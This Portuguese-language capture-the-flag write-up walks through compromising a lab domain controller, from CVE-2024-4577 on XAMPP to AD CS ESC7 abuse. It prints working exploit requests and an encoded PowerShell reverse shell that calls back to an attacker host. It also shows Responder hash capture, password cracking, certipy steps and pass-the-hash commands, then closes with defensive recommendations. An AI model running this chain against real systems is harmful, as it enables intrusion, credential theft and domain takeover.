Cadeia de Ataque à Infraestrutura de TI de uma Empresa via AD CS: da CVE-2024-4577 à Comprometimento do Domínio

Cadeia de Ataque à Infraestrutura de TI de uma Empresa via AD CS: da CVE-2024-4577 à Comprometimento do Domínio

Neste artigo, exploraremos como, no âmbito de um desafio na plataforma Standoff 365, um controlador de domínio da empresa Carbon foi comprometido. A lenda do incidente indicava que a equipe de segurança da informação detectou atividade suspeita durante uma auditoria de rotina, descobrindo que invasores haviam obtido acesso ao controlador de domínio da Carbon. Embora a empresa tenha recuperado o controle de sua infraestrutura e focado na remediação, informações sobre o ataque vazaram, gerando preocupação entre seus clientes.

A empresa Carbon, no universo fictício do Estado F, é uma provedora de infraestrutura de TI que utiliza soluções de alta tecnologia para seus clientes. A equipe de especialistas da Carbon mantém suporte 24/7. O host em questão, carbon.standalone.stf (10.124.249.4), serviu como ponto central para esta demonstração de ataque. Este caso é de grande interesse educacional, pois ilustra um ataque multifacetado: o ponto de entrada inicial foi através da vulnerabilidade CVE-2024-4577 no PHP CGI. Em seguida, ocorreu uma escalada de privilégios sequencial, culminando no comprometimento do domínio através de uma infraestrutura de certificados mal configurada (AD CS, especificamente a falha ESC7).

Este material é especialmente útil para profissionais de segurança ofensiva e participantes de competições CTF, pois demonstra uma cadeia de ataque realista, desde a fase de reconhecimento até a obtenção de acesso administrativo ao domínio. Além disso, são apresentadas recomendações cruciais para a defesa contra tais ameaças. É importante ressaltar que este artigo tem caráter puramente informativo e não constitui um guia ou incentivo para atividades ilegais. Nosso objetivo é educar sobre vulnerabilidades existentes e fornecer orientações de segurança.

Cyber Kill Chain: Uma Abordagem em Múltiplas Camadas

O comprometimento de um sistema é frequentemente o resultado da exploração de múltiplas fraquezas em diferentes níveis da infraestrutura. No caso da Carbon, o ataque começou externamente com a exposição descuidada de um ambiente XAMPP. A partir daí, a cadeia evoluiu para a obtenção de acesso interativo, seguida pela coleta de credenciais. Uma vez dentro do domínio, a fase de reconhecimento interno foi crucial, levando à exploração de uma infraestrutura de PKI confiável, que se tornou o principal trampolim para o controle total do ambiente.

Reconnaissance (Reconhecimento): O nó atacado se destacou imediatamente devido ao conjunto de serviços que oferecia. Não era apenas um servidor Windows comum, mas um nó crítico da infraestrutura de domínio, expondo Kerberos, LDAP, SMB, WinRM e RDP. A presença do XAMPP na porta TCP 8888, acessível externamente, reduziu drasticamente as hipóteses, tornando o componente web o ponto de entrada prioritário.

Weaponization (Preparação da Carga Útil): A próxima etapa envolveu a preparação de uma carga útil que explorasse as particularidades do processamento de argumentos no PHP CGI. O objetivo não era apenas explorar uma vulnerabilidade, mas transformar um script PHP legítimo em um vetor para execução de código arbitrário, manipulando parâmetros de runtime.

Delivery (Entrega): Uma requisição POST especialmente elaborada foi enviada diretamente para o componente web vulnerável. Nesta fase, o controle sobre o sistema ainda era limitado, mas já era possível forçar o servidor a executar o conteúdo enviado no corpo da requisição.

Exploitation (Exploração): Uma vez que a injeção de argumentos CGI foi bem-sucedida, o servidor executou o código PHP injetado. Este foi o ponto de virada crucial, transformando a superfície de ataque externa em uma execução remota de comandos real no nó alvo.

Installation, Foothold (Estabelecimento de Ponto de Apoio): Confirmada a capacidade de executar comandos, o atacante buscou estabelecer um acesso interativo mais conveniente. A execução de comandos pontuais foi substituída por uma sessão de trabalho completa, suficiente para explorar o sistema e avançar para as próximas etapas.

Command and Control (Comando e Controle): O acesso interativo permitiu o controle sequencial do nó. Isso incluiu a exploração do sistema de arquivos, a geração de tráfego de rede, a iniciação de eventos de autenticação e a coleta de artefatos que impulsionariam toda a cadeia de ataque.

Actions on Objectives (Ações para Alcançar os Objetivos): Nesta fase, o comprometimento deixou de ser local. Credenciais coletadas, reconhecimento interno do domínio e análise do AD CS foram empregados. O abuso da infraestrutura de certificados confiável levou ao objetivo final: obter um contexto de privilégio elevado e capturar as flags desejadas.

MITRE ATT&CK: Mapeando a Cadeia de Ataque

Analisando o ataque à Carbon sob a ótica do MITRE ATT&CK, percebemos que não se trata de uma única técnica, mas de uma sequência bem orquestrada de táticas. O ataque iniciou com um vetor de acesso externo, seguido pela execução de código no nó alvo. A partir daí, o foco se deslocou para a coleta de credenciais, exploração interna do ambiente de domínio e escalada de privilégios através de configurações inadequadas de serviços confiáveis.

Ponto de Entrada: XAMPP e CVE-2024-4577

O serviço na porta TCP 8888 se destacou imediatamente. Em um nó intimamente ligado à infraestrutura de domínio, a exposição de um XAMPP com um stack PHP CGI tornou a CVE-2024-4577 o vetor de entrada mais provável. A combinação de um XAMPP acessível externamente e um mecanismo CGI vulnerável transformou o componente web em um ponto de execução remota de código (RCE).

A CVE-2024-4577 é uma vulnerabilidade relacionada à injeção de argumentos no PHP CGI em ambientes Windows. Ao explorá-la, um atacante pode passar parâmetros adicionais para o interpretador PHP através da URL, contornando mecanismos de proteção. Quando combinada com o parâmetro auto_prepend_file=php://input, essa falha se torna uma vulnerabilidade RCE completa.

Proof of Concept: Verificação de Execução de Comando

bash
curl -s -k -X POST \
  -H "Host: carbon.standalone.stf:8888" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data-binary "<?php system('type C:\\rce.flag 2>&1');?>" \
  "<http://carbon.standalone.stf:8888/dashboard/phpinfo.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input>"

Uma resposta bem-sucedida confirmou a execução de código arbitrário como o processo Apache.

Obtendo o Reverse Shell

Após confirmar a capacidade de executar comandos, o próximo passo foi obter acesso interativo. Para isso, uma carga útil PowerShell foi enviada através do mesmo vetor:

bash
curl -s -k -X POST \
  -H "Host: carbon.standalone.stf:8888" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data-binary "<?php system('powershell -NoP -NonI -W Hidden -Exec Bypass -EncodedCommand JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAyADcALgAyADQANgAuADEAOAAyACIALAAxADMAMwA3ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIABpAGUAdAAgAC0AYwBvAG4AbgBlAGMAdAAgADEwAC4AMQAyADcALgAyADQANgAuADEAOAAyACAAMQAzADMANwApADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAFQAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA== 2>&1');?>" \
  "<http://carbon.standalone.stf:8888/dashboard/phpinfo.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input>"

A carga útil estabelece uma conexão TCP com o servidor do atacante, resultando em uma sessão PowerShell completa no nó alvo.

Iniciação de Autenticação Outbound e Coleta de Credenciais

Com o shell estabelecido, o próximo objetivo é obter credenciais para movimentação lateral no domínio. Para isso, uma combinação de ferramentas é utilizada: a provocação de autenticação NTLM e a captura do hash.

Coleta de Credenciais: Após obter acesso interativo, a tarefa muda de foco. Agora, não se trata apenas de executar comandos, mas de encontrar materiais que permitam expandir o raio de comprometimento. Artefatos de autenticação de rede e segredos localmente acessíveis entram em jogo.

No lado do atacante:

bash
sudo responder -I tun0

No nó comprometido, uma requisição a um caminho específico do atacante é iniciada, provocando a autenticação NTLM. O Responder captura o hash NTLMv2 do usuário httpd.

Quebra do Hash:

bash
john --w='/usr/share/wordlists/rockyou.txt' hash

Resultado:

httpd : RMysterio1

Verificação das Credenciais no Domínio:

bash
nxc smb 10.124.249.4 -u users -p ‘RMysterio1’

Obtenção de Acesso SSH Interativo

Após confirmar a validade das credenciais, o próximo passo é estabelecer uma sessão interativa estável:

bash
ssh marat.kiselev@10.124.249.4

O acesso via SSH oferece maior estabilidade em comparação com um reverse shell e simplifica as operações subsequentes no nó.

Busca por Artefatos e Extração de PSCredential

Na pasta do usuário, um arquivo creds_for_scripts.xml é encontrado, no formato PowerShell CLIXML. Este é um objeto PSCredential criptografado via Windows DPAPI. Como a descriptografia DPAPI está vinculada ao contexto do usuário, ela é realizada diretamente no servidor atacado.

xml
<Objs Version="1.1.0.1" xmlns="<http://schemas.microsoft.com/powershell/2004/04>">
  <Obj RefId="0">
    <TN RefId="0">
      <T>System.Management.Automation.PSCredential</T>
      <T>System.Object</T>
    </TN>
    <ToString>System.Management.Automation.PSCredential</ToString>
    <Props>
      <S N="UserName">emma.shutova@standoff.stf</S>
      <SS N="Password">01000000d08c9ddf0115d1118c7a00c04fc297eb01000000fd44c554a2d9fb4e8bcea694b5d37c8c0000000002000000000003660000c000000010000000acba5344f69597c849ec2ebd18d798850000000004800000a0000000100000009012e98870c4258b95cbfd7eb33e57893000000078f99006e86c8cb47cc2ff896457e6ddbdc5301705754a4edcb59c11c1e97609ee0f1214268579bf3d26f9bc157d53a5140000004163fe59cacc857e14bdd755d46a715f272d3485</SS>
    </Props>
  </Obj>
</Objs>

A descriptografia foi realizada no contexto do usuário no host alvo:

powershell
$Credential = Import-Clixml -Path "creds_for_scripts.xml"
[PSCustomObject]@{ 
    UserName = $credential.GetNetworkCredential().username
    Password = $credential.GetNetworkCredential().password
}

Resultado:

emma.shutova@standoff.stf : 89-news-MOSCOW-wire-13

Reconhecimento no Domínio e Descoberta do AD CS

Com as credenciais do usuário emma.shutova, uma coleta completa de dados do domínio é iniciada:

bash
bloodhound-ce-python -u emma.shutova -p '89-news-MOSCOW-wire-13' -ns 10.124.249.4 -d standoff.stf -c all --zip

A descoberta de autoridades certificadoras é realizada:

bash
nxc ldap 10.124.249.4 -u emma.shutova -p '89-news-MOSCOW-wire-13' -M adcs

A busca por modelos de certificado vulneráveis é feita com:

bash
certipy-ad find -u emma.shutova -p '89-news-MOSCOW-wire-13' -target 10.124.249.4 -text -stdout -vulnerable

O Certipy identifica a vulnerabilidade ESC7: a conta emma.shutova possui permissões ManageCA na autoridade certificadora standoff-CARBON-CA-2. Isso permite o abuso do mecanismo de emissão de certificados.

Exploração do AD CS (ESC7)

ESC7 é uma má configuração do Active Directory Certificate Services onde um usuário de domínio comum possui permissões ManageCA ou ManageCertificates em uma autoridade certificadora. Um atacante pode se designar como um oficial da CA, habilitar um modelo SubCA vulnerável e, em seu nome, emitir um certificado para qualquer usuário do domínio, incluindo o Administrador. O certificado obtido é usado para autenticação PKINIT e para extrair o hash NT da conta alvo – sem qualquer alteração no AD e sem os sinais típicos de comprometimento de credenciais.

A exploração do ESC7 ocorre em quatro etapas:

Passo 1. Designar emma.shutova como oficial da CA:

bash
certipy-ad ca -ca 'standoff-CARBON-CA-2' -u emma.shutova -p '89-news-MOSCOW-wire-13' -add-officer emma.shutova -dc-ip 10.124.249.4

Passo 2. Habilitar o modelo SubCA:

bash
certipy-ad ca -ca 'standoff-CARBON-CA-2' -u emma.shutova -p '89-news-MOSCOW-wire-13' -enable-template 'SubCA' -dc-ip 10.124.249.4

Passo 3. Solicitar um certificado em nome do Administrator:

bash
certipy-ad req -ca 'standoff-CARBON-CA-2' -u emma.shutova -p '89-news-MOSCOW-wire-13' -template SubCA -dc-ip 10.124.249.4 -upn Administrator

Passo 4. Aprovar a solicitação e obter o certificado:

bash
certipy-ad ca -ca 'standoff-CARBON-CA-2' -u emma.shutova -p '89-news-MOSCOW-wire-13' -issue-request 61 -dc-ip 10.124.249.4

Obtenção do Hash do Administrador e Acesso Final

O certificado obtido é utilizado para autenticação via PKINIT:

bash
certipy-ad auth -pfx administrator.pfx -domain standoff.stf -dc-ip 10.124.249.4

O Certipy extrai o hash NT da conta Administrator. Este hash é então utilizado para obter um shell:

bash
python3 psexecsvc.py -hashes :2025795511c87497c788b762fe6321ac Administrator@10.124.249.4

O acesso de nível de sistema é obtido, e as flags de LPE (Local Privilege Escalation) e de evento crítico são capturadas.

Obtenção da Flag de Evento Crítico

Recomendações de Proteção

Cada etapa do ataque descrito contra a empresa Carbon corresponde a um erro de configuração específico. Abaixo, apresentamos medidas direcionadas para mitigar cada uma delas:

1. PHP CGI Vulnerável (CVE-2024-4577):

   • Atualizar o PHP para as versões 8.1.29, 8.2.20, 8.3.8 ou superiores, onde a vulnerabilidade foi corrigida.
   • Abandonar o modo CGI em favor de PHP-FPM ou mod_php.
   • Não expor ambientes de teste (como XAMPP) em servidores de produção, especialmente em controladores de domínio.
   • Restringir o acesso ao serviço web em nível de rede através de firewalls e segmentação.

2. Interceptação NTLM (Responder):

   • Desabilitar LLMNR e NetBIOS-NS através de Group Policy.
   • Habilitar SMB Signing para prevenir ataques de relay.
   • Utilizar Extended Protection for Authentication (EPA).
   • Considerar a transição para autenticação exclusiva via Kerberos onde for viável.

3. Armazenamento de Credenciais em Arquivos:

   • Não armazenar credenciais em arquivos CLIXML ou outros formatos em disco.
   • Utilizar soluções de gerenciamento de segredos como HashiCorp Vault, Azure Key Vault, ou Windows Credential Manager com ACLs adequadas.
   • Realizar auditorias regulares do sistema de arquivos em busca de artefatos contendo credenciais (*.xml, *.cred, *.config).

4. Configuração Incorreta do AD CS (ESC7):

   • Verificar regularmente a configuração do AD CS com ferramentas como Certipy ou PSPKIAudit.
   • Restringir as permissões ManageCA e ManageCertificates, concedendo-as apenas a administradores.
   • Não manter modelos de Subordinate CA (SubCA) habilitados sem necessidade explícita.
   • Configurar alertas para eventos na autoridade certificadora (adição de oficiais, habilitação de modelos, aprovação manual de requisições).

5. Medidas Gerais:

   • Aplicar o princípio do menor privilégio: contas de serviço não devem possuir permissões excessivas no domínio.
   • Implementar monitoramento baseado na matriz MITRE ATT&CK: requisições anômalas de Kerberos, requisições de certificado de contas não padrão, uso de PowerShell com EncodedCommand.
   • Controladores de domínio não devem ser pontos de entrada para serviços web; isolar suas funções.

Conclusão

O caso do comprometimento da empresa Carbon no ciber-playground demonstra um ataque clássico em múltiplas camadas. Nenhuma das vulnerabilidades isoladamente parecia ser de alto risco, mas sua combinação levou ao comprometimento total do domínio. Um desenvolvedor web que deixou um XAMPP com PHP desatualizado, um administrador que criou um arquivo com senhas e um engenheiro de PKI que não verificou as permissões na CA – todos contribuíram para o resultado final.

Para o defensor, a principal lição é a necessidade de visualizar a superfície de ataque de forma holística, e não apenas através de CVEs individuais. A segurança eficaz exige uma abordagem integrada que considere a interação entre diferentes componentes e configurações.